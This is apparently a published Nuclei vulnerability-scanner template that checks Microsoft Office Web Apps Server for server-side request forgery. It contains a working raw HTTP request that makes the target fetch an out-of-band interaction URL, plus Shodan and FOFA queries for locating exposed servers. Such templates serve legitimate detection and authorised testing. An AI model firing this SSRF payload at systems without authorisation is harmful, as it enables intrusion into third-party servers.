Office Web Apps Server Full Read - Server Side Request Forgery

ID: office-webapps-ssrf

Severity: high

Author: DhiyaneshDK

Tags: microsoft,office-webapps,redirect

Description

Office Web Apps Server Full Read is vulnerable to SSRF.

YAML Source

id: office-webapps-ssrf

info:
  name: Office Web Apps Server Full Read - Server Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: Office Web Apps Server Full Read is vulnerable to SSRF.
  reference:
    - https://drive.google.com/file/d/1aeNq_5wVwHRR1np1jIRQM1hocrgcZ6Qu/view (Slide 37,38)
  classification:
    cpe: cpe:2.3:a:microsoft:office_web_apps_server:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Provide a link that opens Word"
    fofa-query: body="Provide a link that opens Word"
    product: office_web_apps_server
    vendor: microsoft
  tags: microsoft,office-webapps,redirect
variables:
  oast: "{{interactsh-url}}"
  string: "{{to_lower(rand_text_alpha(4))}}"

http:
  - raw:
      - |
        GET /oh/wopi/files/@/wFileId/contents?wFileId=http://{{oast}}/{{string}}.xlsx%3fbody={{string}}%26header=Location:http://oast.pro%26status=302&access_token_ttl=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')
          - contains(body,'<h1> Interactsh Server </h1>')
          - status_code == 200
        condition: and
# digest: 490a00463044022016297b715eb2af4653f98753aa1aae1493e2fa762a40720334a04691560fdd8702202bc8b1ba739e034aaab536bc06483d3010b854fa630185a801ca2e643e6f6700:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/microsoft/office-webapps-ssrf.yaml"

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